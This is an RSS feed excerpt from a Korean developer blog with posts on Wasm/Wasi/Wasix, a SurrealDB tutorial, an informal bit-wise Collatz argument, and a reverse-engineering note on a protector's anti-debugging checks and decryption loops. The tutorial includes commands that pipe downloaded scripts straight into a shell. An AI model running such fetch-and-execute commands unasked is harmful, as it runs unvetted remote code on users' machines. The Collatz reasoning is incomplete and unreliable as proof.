&lt;p&gt;몇 년 전부터, wasm(웹어셈블리)를 통해 서버에서 연산해야 하는 내용을, 클라이언트단에서 계산할 수 있게 된다, 웹 개발의 미래다 라는 소식을 듣곤 했지만, 공부한 적이 없어서 이번 기회에 함께 공부해보기로 했다.&lt;/p&gt;

&lt;h2 id=&quot;wasm이란-무엇인가&quot;&gt;Wasm이란 무엇인가?&lt;/h2&gt;

&lt;p&gt;Wasm은 모질라에서 2015년 발표한, 웹 브라우저에서 어셈블리를 실행할 수 있는 기술이다.&lt;/p&gt;

&lt;p&gt;기존 웹 브라우저는 자바스크립트 기반으로 돌아가거나, 서버측에서 연산을 하여 반환해주는 식으로 돌아갔기 때문에, 한번에 클라이언트가 고부하의 연산을 요청할경우,&lt;/p&gt;

&lt;p&gt;자바스크립트로 돌아가는 웹 브라우저에서는 연산할 수 없고, 서버에서는 너무 많은 요청이 들어와 곤란한 경우가 있었다.&lt;/p&gt;

&lt;p&gt;이때 Wasm(웹 어셈블리) 기술을 활용하면 웹 브라우저에서도 빠른 속도로 연산을 할 수 있어서, 웹서버의 부하를 줄여준다는 기대가 있었다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;하지만 Wasm은 개발 난이도가 높으며, “굳이 웹 브라우저에서 고성능의 연산을 할 필요가 없다” 는 의견이 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;wasi이란-무엇인가&quot;&gt;Wasi이란 무엇인가?&lt;/h2&gt;

&lt;p&gt;실행 파일로 만들어진 프로그램과 비슷한 성능을 자랑하는 웹 어셈블리,&lt;/p&gt;

&lt;p&gt;웹 어셈블리는 자바스크립트와 웹 브라우저가 해석하고 실행할 수 있기 때문에 크로스플랫폼이라는 특징이 있다.&lt;/p&gt;

&lt;p&gt;이러한 특징을 이용해, 웹 어셈블리로 연산 로직을 만들어, 이를 바이너리로 다시 실행하는 프로젝트가 만들어졌으며, 이를 위한 인터페이스가 Wasi다.&lt;/p&gt;

&lt;p&gt;프로그래머가 Wasi를 이용해 웹어셈블리 코드를 짜면, 사용자는 이를 어느 플랫폼에서든 실행할 수 있다. (단순 연산이 아닌, 파일 입출력, 소켓 관리 등의 다양한 함수들이 지원된다.)&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;하지만 Wasi는 발전이 느려, 이를 해결하기 위해 새로 Wasix가 만들어 졌습니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;wasix이란-무엇인가&quot;&gt;Wasix이란 무엇인가?&lt;/h2&gt;

&lt;p&gt;Wasix는 Wasi를 실행할 수 있게 도와주는 wasmer프로젝트 그룹에서, Wasi 발전이 더뎌, wasi의 기능을 간단하게 사용하기 위해 만들어진 Wasi의 발전형입니다.&lt;/p&gt;

&lt;p&gt;Wasix를 이용해 웹어셈블리를 작성할 경우, &lt;a href=&quot;https://github.com/wasix-org#current-extensions&quot;&gt;해당 링크&lt;/a&gt;내용에 있는 기능들을 사용할 수 있다고 한다.&lt;/p&gt;
</description>
        <pubDate>Fri, 09 Jun 2023 13:55:27 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Wasm_Wasi_Wasix/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Wasm_Wasi_Wasix/</guid>
      </item>
    
      <item>
        <title>SurrealDB란 무엇인가?</title>
        <description>&lt;blockquote&gt;
  &lt;p&gt;백엔드 개발자인 주제에 데이터베이스를 제대로 다뤄보지 않아, 이번 기회에 데이터베이스를 사용하는 방법을 공부해보았습니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;surrealdb&quot;&gt;&lt;a href=&quot;https://surrealdb.com/&quot;&gt;SurrealDB&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/surrealdb/surrealdb&quot;&gt;깃허브&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;순수 Rust로 작성된 데이터베이스로, 1.0 릴리즈 버전이 나오기 직전이라는 소문이 있어 사용해 보았습니다.&lt;/p&gt;

&lt;p&gt;설치는 깃허브 페이지에서 실행파일을 다운로드하거나, 설치 명령어들을 실행해서 설치할 수 있습니다.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Mac&lt;/span&gt;
brew &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;surrealdb/tap/surreal
&lt;span class=&quot;c&quot;&gt;# Linux&lt;/span&gt;
curl &lt;span class=&quot;nt&quot;&gt;--proto&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;=https&apos;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--tlsv1&lt;/span&gt;.2 &lt;span class=&quot;nt&quot;&gt;-sSf&lt;/span&gt; https://install.surrealdb.com | sh
&lt;span class=&quot;c&quot;&gt;# Windows&lt;/span&gt;
iwr https://windows.surrealdb.com &lt;span class=&quot;nt&quot;&gt;-useb&lt;/span&gt; | iex
&lt;span class=&quot;c&quot;&gt;# Docker &lt;/span&gt;
docker run &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--pull&lt;/span&gt; always &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; surrealdb &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 8000:8000 surrealdb/surrealdb:latest start
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;실행&quot;&gt;실행&lt;/h3&gt;

&lt;p&gt;SurrealDB 설치 후 커멘드로 실행해보았습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2023-05-31-0.png&quot; alt=&quot;SurrealDB 실행 모습&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;실행해보니 다른 디비와 마찬가지로, 실행한 창에서는 커멘드를 입력할 수 없었습니다. (데이터베이스를 자주 다루지 않아서 미숙합니다.)&lt;/p&gt;

&lt;p&gt;깃허브 페이지에서 보면, 웹 클라이언트가 있어 보였는데, 아직 미출시여서 클라이언트로 접속할 수 밖에 없었습니다.&lt;/p&gt;

&lt;p&gt;디비에 접속하여 사용하는 법을 익혀보았습니다.&lt;/p&gt;

&lt;p&gt;개발 초기단계의 데이터베이스여서 그런지, 문서의 양이 많지 않아 원하는 내용을 쉽게 찾을 수 있었습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2023-05-31-1.png&quot; alt=&quot;SurrealDB 패스워드 설정 실행&quot; title=&quot;패스워드 설정 필요&quot; /&gt;&lt;/p&gt;

&lt;p&gt;해당 설명을 보면 아이디와 패스워드를 확인 후, 해당 패스워드를 이용해 접속해야 합니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;surreal sql -c http://localhost:8000&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;-u &lt;유저명&gt; -p &lt;패스워드&gt; --ns &lt;네임스페이스&gt; --db &lt;데이터베이스&gt; 를 입력해야하지만, 유저명 기본값은 root, 패스워드 기본값은 root로 설정되어 있습니다.&lt;/데이터베이스&gt;&lt;/네임스페이스&gt;&lt;/패스워드&gt;&lt;/유저명&gt;&lt;/p&gt;

  &lt;p&gt;–ns와 –db는 입력하지 않아도 접속할 수 있습니다. (데이터베이스 조회는 안됩니다.)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;기본-조작&quot;&gt;기본 조작&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://surrealdb.com/docs/surrealql/statements&quot;&gt;해당 링크&lt;/a&gt;를 접속하여 기본적인 헬프 명령어를 볼 수 있습니다.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;-- 네임스페이스 변경 (없으면 생성 후 변경)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;namespace1&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- 데이터베이스 변경 (없으면 생성 후 변경)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db1&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;-- namespace1/db1 안에 들어와있습니다.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- 테이블을 정의할 필요 없이 create 명령어로 데이터를 삽입할 수 있습니다.&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;-- human이라는 테이블에 hero라는 아이디를 가진 데이터를 넣어라&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- human이라는 테이블이 없으면 만들고 데이터를 넣습니다.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;create&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;human&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hero&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- 만들어진 데이터 업데이트, 열을 설정하지 않아도 동작합니다.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;update&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;human&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hero&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;region&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;&quot;대한민국&quot;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- create human:hero set region = &quot;대한민국&quot; 으로도 동작합니다.&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;-- human 테이블 조회&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;human&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- human 테이블 안의 hero 데이터 조회&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;human&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hero&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2023-05-31-2.png&quot; alt=&quot;기본적인 데이터 삽입&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;CREATE를 사용했을 때 데이터가 들어가는것으로 보아, 다른 데이터베이스를 쓰다가 오면 호환성 작업이 조금 필요할 것 같지만, 테이블을 미리 정의해 둘 필요가 없기 때문에 유연하게 데이터 사용이 가능해 보입니다.&lt;/p&gt;

&lt;p&gt;기본 INSERT문도 지원하지만 저는 CREATE명령어가 마음에 듭니다.&lt;/p&gt;

&lt;p&gt;추가적으로 &lt;a href=&quot;https://surrealdb.com/docs/surrealql/datamodel&quot;&gt;타입&lt;/a&gt;과 &lt;a href=&quot;https://surrealdb.com/docs/surrealql/functions&quot;&gt;내장 함수들&lt;/a&gt;도 유용한 내용들이 있어 편하게 사용 가능해 보입니다.&lt;/p&gt;

&lt;h3 id=&quot;이미-존재하는-데이터-찾기&quot;&gt;이미 존재하는 데이터 찾기&lt;/h3&gt;

&lt;p&gt;SurrealDB에는 메타데이터들이 없는 대신 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;info&lt;/code&gt;명령어를 통해 어떤 데이터가 저장되어있는지 찾을 수 있습니다.&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;-- 어떤 네임스페이스가 정의되어 있는지 조회 (데이터가 들어간 네임스페이스만 조회)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;info&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kv&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- &amp;gt; info for kv&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- { ns: { namespace1: &apos;DEFINE NAMESPACE namespace1&apos; } } -- namespace1이라는 네임스페이스가 존재함&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;&quot;네임스페이스 명&quot;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;-- 네임스페이스 안에 존재하는 데이터베이스 조회 (데이터가 들어간 데이터베이스만 조회)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;info&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ns&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- 설명대로는 동작해야 하는데, 데이터베이스가 설정되지 않으면 현재는 동작하지 않습니다. use db temp로 아무런 데이터베이스를 사용한다고 선언한 후 사용하시면 됩니다.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- &amp;gt; use db temp&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- namespace1/temp&amp;gt; info for ns&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- { db: { db1: &apos;DEFINE DATABASE db1&apos; }, nl: {  }, nt: {  } } -- db1이라는 데이터베이스가 존재함&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;&quot;데이터베이스 명&quot;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;-- 데이터베이스 내부에 어떤 테이블이 있는지 조회 (데이터가 들어간 테이블만 조회)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;info&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;db&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- namespace1/db1&amp;gt; info for db&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;-- { dl: {  }, dt: {  }, fc: {  }, pa: {  }, sc: {  }, tb: { human: &apos;DEFINE TABLE human SCHEMALESS PERMISSIONS NONE&apos; } } -- human이라는 테이블이 존재함&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;SurrealDB를 시작으로 여러 데이터베이스 다루는 법을 익혀야겠습니다.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
        <pubDate>Wed, 31 May 2023 03:47:41 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/SurrealDB/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/SurrealDB/</guid>
      </item>
    
      <item>
        <title>Bit-Wise Analysis Of The Collatz Conjecture</title>
        <description>&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;Introduction&lt;/li&gt;
  &lt;li&gt;3x + 1 Problem&lt;/li&gt;
  &lt;li&gt;Bit-wise Analysis
    &lt;ol&gt;
      &lt;li&gt;Rightmost Bit Pattern: 1000…01&lt;/li&gt;
      &lt;li&gt;Rightmost Bit Pattern: 1111…11&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;Conclusion&lt;/li&gt;
  &lt;li&gt;References&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;콜라츠 추측이라고도 알려져 있는 3x + 1 문제는 홀수인 정수 n을 3n + 1로, 짝수인 정수 n을 n / 2로 만드는 함수의 반복이 만들어내는 동작에 관심을 갖는다. 3x + 1 추측이 주장하는 것은, 임의의 양의 정수 n에 대해 이 함수를 반복적으로 적용하면 결국 1에 도달한다는 것이다[1].&lt;/p&gt;

&lt;p&gt;본 글에서는 3x + 1 문제를 분석하기 위해 비트를 사용한 방법을 제시한다. 물론 아직 이 방법으로 문제를 증명을 할 수 있는지는 명확하지 않지만, 분명히 통계적 방법과 다르다.&lt;/p&gt;

&lt;h2 id=&quot;3x--1-problem&quot;&gt;3x + 1 Problem&lt;/h2&gt;

&lt;p&gt;3x + 1 문제는 다음과 같이 정의하는 함수의 반복으로 표현된다[1]:&lt;/p&gt;

\[\begin{equation}
T(n) = 
\begin{cases}
    \frac{3n + 1}{2}&amp;amp; \text{if } n \equiv 1 \pmod 2 \\
    \frac{n}{2}&amp;amp; \text{if } n \equiv 0 \pmod 2 \\
\end{cases}
\end{equation}\]

&lt;h2 id=&quot;bit-wise-analysis&quot;&gt;Bit-wise Analysis&lt;/h2&gt;

&lt;p&gt;임의의 양의 정수 $n$의 비트열 표현을 생각해보자. 여기서 우리는 이 비트열의 우측 끝 부분의 유형을 다음과 같이 세 가지로 나눌 수 있다:&lt;/p&gt;

\[\begin{equation}
\begin{cases}
    1 \underbrace{000 \dots 0}_\text{N} 0_2 &amp;amp; \text{(i)} \\
    1 \underbrace{000 \dots 0}_\text{N} 1_2 &amp;amp; \text{(ii)} \\
    1 \underbrace{111 \dots 1}_\text{N} 1_2 &amp;amp; \text{(iii)} \\
\end{cases}
\end{equation}\]

&lt;p&gt;식 2의 i의 경우에는 자명하게 1에 도달함을 알 수 있다. 그럼 식 2의 ii, iii의 경우에도 1에 도달하는지 알아보자.&lt;/p&gt;

&lt;h3 id=&quot;rightmost-bit-pattern-100001&quot;&gt;Rightmost Bit Pattern: 1000…01&lt;/h3&gt;

&lt;p&gt;여기서 우리가 관심을 가지는 부분은 비트열의 우측 끝 부분의 1000…01(2)이다. 이러한 비트열에 대해 T(n)을 적용하면 다음을 얻는다:&lt;/p&gt;

\[1 \underbrace{000 \dots 0}_\text{N} 1_2 \\
11 \underbrace{000 \dots 0}_\text{N - 2} 10_2 \\
11 \underbrace{000 \dots 0}_\text{N - 2} 1_2 \\
1001 \underbrace{000 \dots 0}_\text{N - 4} 10_2 \\
1001 \underbrace{000 \dots 0}_\text{N - 4} 1_2 \\
11011 \underbrace{000 \dots 0}_\text{N - 6} 10_2 \\
11011 \underbrace{000 \dots 0}_\text{N - 6} 1_2 \\\]

&lt;p&gt;위 식에서 각 비트열의 우측 끝 부분의 1000…01(2)에 주목하라. 그럼 1000…01(2)의 두 개의 1 사이에 있는 0의 개수가 두 개씩 감소함을 알 수 있다. 그럼 이를 일반화해보자. 먼저 홀수인 001(2)에 3을 곱하고 1을 더하면 100(2)이고 이를 2로 나누면 10(2)이다. 이때 10(2)는 짝수이므로 2로 나누면 1(2)이 된다. 따라서&lt;/p&gt;

\[1 \underbrace{000 \dots 0}_\text{N} 1_2 (N \geq 2)\]

&lt;p&gt;이면,  T(n)을 두 번 적용할 때마다 N은 2씩 감소한다. 이때, N이 짝수였다면 1001(2)까지 감소할 수 있을 것이고, 홀수였다면 10001(2)까지 감소할 수 있을 것이다. 그리고 11(2), 101(2)는 1에 도달함을 계산할 수 있다.&lt;/p&gt;

&lt;p&gt;따라서 우측 끝 부분이&lt;/p&gt;

\[1 \underbrace{000 \dots 0}_\text{N} 1_2 (N \geq 2)\]

&lt;p&gt;일 때,  T(n)을 반복해서 적용하면 우측 끝 부분의 1000…01(2)인 부분이 줄어들다가 결국 1이 된다.&lt;/p&gt;

&lt;p&gt;이제&lt;/p&gt;

\[1 \underbrace{000 \dots 0}_\text{N} 1_2 (N \geq 2)\]

&lt;p&gt;의 초기 길이인 N + 2의 변화를 살펴보자. 우측 끝 부분의&lt;/p&gt;

\[1 \underbrace{000 \dots 0}_\text{N} 1_2 (N \geq 2)\]

&lt;p&gt;는 좌측 끝 비트에는 “곱하기 3”만 적용되고, 우측 끝 비트에 “곱하기 3 더하기 1”이 적용된다. 이때 “곱하기 3”은 비트열에서 최대 2비트를 증가시킨다. 이는 다음과 같이 계산할 수 있다:&lt;/p&gt;

\[n = \underbrace{111 \dots 1_2}_\text{N}  \\
3n = \underbrace{111 \dots 10_2}_\text{N + 1} + \underbrace{111 \dots 11_2}_\text{N} = \underbrace{1011 \dots 01_2}_\text{N + 2} \\\]

&lt;p&gt;그런데&lt;/p&gt;

\[1 \underbrace{000 \dots 0}_\text{N} 1_2 (N \geq 2)\]

&lt;p&gt;이면,  T(n)을 두 번 적용할 때마다 N은 2씩 감소하므로 T(n)을 반복적으로 적용하면 초기 길이인 N + 2보다 작아진다.&lt;/p&gt;

&lt;p&gt;정리하면, 우측 끝 부분의 비트열이&lt;/p&gt;

\[1 \underbrace{000 \dots 0}_\text{N} 1_2 (N \geq 2)\]

&lt;p&gt;인 경우에는 T(n)을 반복적으로 적용함에 따라 1000…01(2)의 두 개의 1 사이에 있는 0의 개수가 감소하면서 동시에 전체 비트열의 길이도 감소한다.&lt;/p&gt;

&lt;h3 id=&quot;rightmost-bit-pattern-111111&quot;&gt;Rightmost Bit Pattern: 1111…11&lt;/h3&gt;

&lt;p&gt;그럼 이제 비트열의 우측 끝 부분이 1111…11(2)인 경우를 살펴보자. 이러한 비트열에 T(n)을 적용하면 다음을 얻는다:&lt;/p&gt;

\[1 \underbrace{111 \dots 1}_\text{N} 1_2 \\
101 \underbrace{111 \dots 1}_\text{N - 1} 1_2 \\
10001 \underbrace{111 \dots 1}_\text{N - 2} 1_2 \\
110101 \underbrace{111 \dots 1}_\text{N - 3} 1_2 \\
10100001 \underbrace{111 \dots 1}_\text{N - 4} 1_2 \\
111100101 \underbrace{111 \dots 1}_\text{N - 5} 1_2 \\
10110110001 \underbrace{111 \dots 1}_\text{N - 6} 1_2 \\\]

&lt;p&gt;위 식에서 각 비트열의 우측 끝 부분의 1111…11(2)에 주목하라. 그럼 각 비트열의 1111…11(2)$ 부분의 개수가 감소함을 알 수 있다. 그럼 이를 일반화해보자. 먼저&lt;/p&gt;

\[1 \underbrace{111 \dots 1}_\text{N} 1_2\]

&lt;p&gt;에 T(n)을 적용하면&lt;/p&gt;

\[101 \underbrace{111 \dots 1}_\text{N - 1} 1_2\]

&lt;p&gt;이 된다. 이때 연산이 진행됨에 따라 우측 끝 부분의 1111…11(2)의 앞에는 항상 0이 존재하게 된다. 이는 1111…11의 가장 왼쪽 부분의 1을 연산하는 과정에서 생기는 것이므로 우측 끝 부분의 1111…11(2)의 개수는 감소한다.&lt;/p&gt;

&lt;p&gt;이제&lt;/p&gt;

\[1 \underbrace{111 \dots 1}_\text{N} 1_2\]

&lt;p&gt;의 길이인 N + 2를 살펴보자. 3n + 1 연산은 최대 2 비트를 증가시키고 그 결과는 짝수이므로 1 비트가 감소하므로 비트열의 전체 길이는 최대 1비트씩 증가한다. 이때 우측 끝 부분의 1111…11(2)는 감소하지만 그 앞에는 항상 우측 끝 부분의 0이 존재한다. 즉, 우측 끝 부분의 1111…11(2)이 1로 감소하면 해당 비트열은 식 2의 ii 유형이 된다. 이때 이 유형은 비트열의 전체 길이를 감소시킨다. 이는 비트열을 증가시키는 유형이 존재하지만 해당 유형은 종료될 것이고 종료되면 증가된 비트열은 감소할 것임을 의미한다.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;본 글에서는 3x + 1 문제에서의 임의의 수 n을 비트로 표현하여 문제를 분석하였고, 비트열이 증가하는 부분이 존재하지만 증가한 비트열은 감소할 것임을 보였다. 그러나 이렇게 증가한 비트열이 계속해서 감소할 것인지에 대해서는 추가해야하는 부분이 있는 것으로 보인다.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Jeff Lagarias, “The 3x + 1 problem and its generalizations,” American Mathematical Monthly, vol. 92, pp. 3 — 23, 1985.&lt;/li&gt;
&lt;/ol&gt;
</description>
        <pubDate>Tue, 16 May 2023 01:40:23 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Colatz_Conjecture/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Colatz_Conjecture/</guid>
      </item>
    
      <item>
        <title>70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2[2]</title>
        <description>&lt;h3 id=&quot;이전-게시글&quot;&gt;&lt;a href=&quot;/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2/&quot;&gt;이전 게시글&lt;/a&gt;&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40324C&lt;/code&gt; 이후의 루틴을 분석하였습니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2023-02-25-0.png&quot; alt=&quot;0x40324C 이후의 디스어셈블 코드&quot; title=&quot;0x40324C 이후의 디스어셈블 코드입니다.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;해당 주소 이후의 코드는 의미없는 jmp와 jc가 많아, trace기능을 켜고 라인별로 따라갔습니다.&lt;/p&gt;

&lt;p&gt;해당 함수 내부에서 함수를 호출하는 부분이 많지 않아 모든 call문 내부에 들어갈 수 있었으며, 호출하는 함수들도 난독화를 위해 생성한 call문이었습니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;해당 루틴 이후로는 다음과 같은 코드가 실행됩니다. (코드가 순서대로 실행되지 않아, 직접 따라가지 않으면 파악할 수 없습니다.)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2023-02-25-1.png&quot; alt=&quot;Trace 코드&quot; title=&quot;Trace로 기록된 실행 로그입니다.&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40327C&lt;/code&gt; - 스택의 맨 위에서 0x30 값을 가져옵니다. 난독화를 위해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop&lt;/code&gt;대신 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add&lt;/code&gt;를 사용했습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x403295&lt;/code&gt; - 0으로 맞추어진 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eax&lt;/code&gt;에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs:[30]&lt;/code&gt;의 값을 맞춰줍니다. (안티디버깅을 위해 사용하는 PEB블럭)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4032DC&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PEB + 0x2&lt;/code&gt;(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BeingDebugged&lt;/code&gt;)의 값을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ecx&lt;/code&gt;에 넣어줍니다. (진행을 위해 해제해줍니다.)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x403209&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PEB + 0x68&lt;/code&gt;(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NtGlobalFlag&lt;/code&gt;)의 값을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eax&lt;/code&gt;에 넣어줍니다. (디버깅중이면 0x70, 아니면 0으로 값이 나옵니다)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x40124E : 0x401259]&lt;/code&gt; - 반복문을 돌면서 해당 코드 아래의 복호화를 진행합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x4012C1 : 0x4012C5]&lt;/code&gt; - 반복문을 돌면서 해당 코드 아래의 복호화를 진행합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[0x40124E : 0x401259]&lt;/code&gt; - 반복문을 돌면서 해당 코드 아래의 복호화를 진행합니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;중간중간 난독화를 위해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;je A&lt;/code&gt;; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jne A&lt;/code&gt;의 패턴이 자주 보였습니다. 해당 프로텍터의 특징인 것 같습니다.&lt;/p&gt;

